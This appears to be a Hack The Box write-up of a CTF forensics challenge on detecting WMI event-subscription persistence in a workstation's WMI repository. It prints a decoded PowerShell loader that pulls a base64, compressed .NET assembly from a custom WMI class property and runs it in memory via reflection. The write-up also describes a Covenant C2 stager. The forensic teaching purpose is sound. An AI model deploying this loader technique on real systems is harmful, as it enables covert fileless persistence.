Hack The Box: Cybersecurity Training
Popular Topics
  • JOIN NOW
ALL Red Teaming Blue Teaming Cyber Teams Education CISO Diaries Customer Stories Write-Ups CVE Explained News Career Stories Humans of HTB Attack Anatomy Artificial Intelligence

Write-Ups

5 min read

Business CTF 2022: Detecting and analyzing WMI Persistence - Perseverance

This post will cover the solution for the easy forensics challenge, Perseverance, and the thought process during the development.

thewildspirit avatar

thewildspirit,
Sep 16
2022

Hack The Box Article

Description

During a recent security assessment of a well-known consulting company, the competent team found some employees' credentials in publicly available breach databases. Thus, they called us to trace down the actions performed by these users. During the investigation, it turned out that one of them had been compromised. Although their security engineers took the necessary steps to remediate and secure the user and the internal infrastructure, the user was getting compromised repeatedly. Narrowing down our investigation to find possible persistence mechanisms, we are confident that the malicious actors use WMI to establish persistence. You are given the WMI repository of the user's workstation. Can you analyze and expose their technique?

Write-up 📜

The downloadable file for this challenge is the WMI repository folder.

 For this challenge, I wanted to demonstrate how WMI is being used as a persistence mechanism in the wild. Thus, I decided to do some research on how both pentesters and malicious actors tend to use it. But before explaining the intended solution, let's go over the basics first.

What is WMI❓

WMI is the Windows Management Instrumentation. It's a set of tools that allows administrators to manage and monitor Windows systems. It can be found installed by default in every modern Windows version.

Some basic terms are:

  • Event Filter: Enables you to query for and receive events that match specified criteria and trigger an Event Consumer

  • Event Consumer: This allows you to receive and process events from a WMI event provider

  • Binding: Binds the Filter and Consumer together

  • MOF: Managed Object Format file, defines WMI classes to be inserted into the repository

What is the WMI Repository ❓❓

The WMI repository is a database that contains information about the Windows Management Instrumentation (WMI) classes installed on a computer, and it has the following structure:

  • OBJECTS.DATA: Objects managed by WMI

  • INDEX.BTR: Index of files imported into OBJECTS.DATA

  • MAPPING[1-3].MAP: Correlates data in OBJECTS.DATA and INDEX.BTR

Find the Persistence Mechanism 🔎

As described by MITRE

Loading Preview...

:

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user logging, or the computer's uptime. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.

The challenge's objective was intendedly hinted by the description, so players have the chance to become familiar with the concept before even starting the challenge.

As always, challengers should start from the low-hanging fruits, which in our case, when given a WMI repository, is to look for events to consumer bindings. If our theory is true, the attackers would be able to execute their payload once a condition is met.

For this task, we will use a python script

Loading Preview...

from the repository called WMI_Forensics to parse the OBJECTS.DATA database and locate the persistence mechanism via FitlerToConsumerBindings.

The decoded payload can be found here:

$file = ([WmiClass]'ROOT\cimv2:Win32_MemoryArrayDevice').Properties['Property'].Value;sv o (New-Object IO.MemoryStream);
sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress));
sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);
sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null

This script performs several actions:

  • Retrieves the property named Property from the ROOT\cimv2:Win32_MemoryArrayDevice WMI custom class

  • Decodes it from base64 and then decompresses it

  • At last, loads it in memory using reflection

It is worth mentioning that this technique was inspired by FIN8's

Loading Preview...

WMI persistence mechanism, where they put their malicious payload in an object's property and then execute it using reflection. This is considered a Type II

Loading Preview...

fileless attack as it doesn't directly write files on the file system but can end up using files indirectly. Even though the infection chain does technically use a physical file, it's considered a fileless attack because the WMI repository is a multi-purpose data container that can't be detected and removed.

Retrieve the Payload 🎁

To continue, we need to find the wmi class and its properties. 

The flare-wmi

Loading Preview...

suite contains useful scripts that can parse the WMI repository and automatically identify and carve class definitions from WMI repository unused space.

If we search for the Win32_MemoryArrayDevice class we found earlier from the persistence payload, we can find its properties.

Now we decode and decompress it and retrieve the .NET assembly.

We can load the assembly to the decompiler of our choice and decompile it. For me, it is ILSpy

Loading Preview...

.

Get the Flag 🏁

In the last step, I wanted to use a real C2 stager to make the challenge more realistic. I chose my favorite open source one, Covenant

Loading Preview...

. 

After a quick source code review, we can spot the main functionality.

This is the part of the code where the key initialization is happening for the traffic encryption. The hard-coded key is built using a string builder.

We can get the flag if we concatenate the base64 strings and decode them.

🎮 PLAY THE TRACK

GET A DEMO FREE TRIAL

Contents

  • Description
  • Write-up 📜
    • What is WMI❓
    • What is the WMI Repository ❓❓
    • Find the Persistence Mechanism 🔎
    • Retrieve the Payload 🎁
    • Get the Flag 🏁

Latest News

Hack the Box Blog

Education

6 min read

Your pentest found nothing. Here’s what to do next.

HTB-Bot avatar HTB-Bot, May 15, 2025

Hack the Box Blog

News

2 min read

Hack The Box invites all corporate teams to benchmark their skills through the Global Cyber Skills Benchmark 2025

Noni avatar Noni, May 12, 2025

Hack the Box Blog

Artificial Intelligence

6 min read

AI Red Teaming explained: Adversarial simulation, testing, and capabilities

b3rt0ll0 avatar b3rt0ll0, May 09, 2025

Hack The Blog

The latest news and updates, direct from Hack The Box

Read More
Hack The Box: Cybersecurity Training

The #1 platform to build attack-ready
teams and organizations.

Get a demo

Forrester wave leader Forrester wave leader
ISO 27001 ISO 27701 ISO 9001
G2 rating Capterra rating

Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing
Individuals
Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams
Industries
Government Higher Education Finance Professional Services
Use Cases
Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center
Programs
Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status
Contact Us
Press Support Enterprise Sales
Partners
Become a Partner Register a Deal
Store
HTB Swag Buy Gift Cards
Products
Teams
Courses & Certifications Cyber Ranges Enterprise Attack Simulations Cloud Infrastructure Simulations Capture The Flag Tabletop Exercises Talent Sourcing

Individuals

Courses & Certifications Hacking Labs Defensive Labs Red Team Labs Capture The Flag Job Board
Solutions
Job Roles
Red Teams Blue Teams Purple Teams

Industries

Government Higher Education Finance Professional Services

Use Cases

Technical Onboarding Team Benchmarking Candidate Assessment Threat Management Code Vulnerability Crisis Simulation Governance & Compliance
Resources
Community Blog Industry Reports Webinars AMAs Learn with HTB Customer Stories Cheat Sheets Compliance Sheets Glossary Guides & Templates Parrot OS Help Center

Programs

Channel & Resellers Ambassador Program Affiliate Program SME Program
Company
About us Careers Brand Guidelines Certificate Validation Trust Center Product Updates Status

Contact Us

Press Support Enterprise Sales

Partners

Become a Partner Register a Deal

Store

HTB Swag Buy Gift Cards
Cookie Settings
Privacy Policy
User Agreement
© 2025 Hack The Box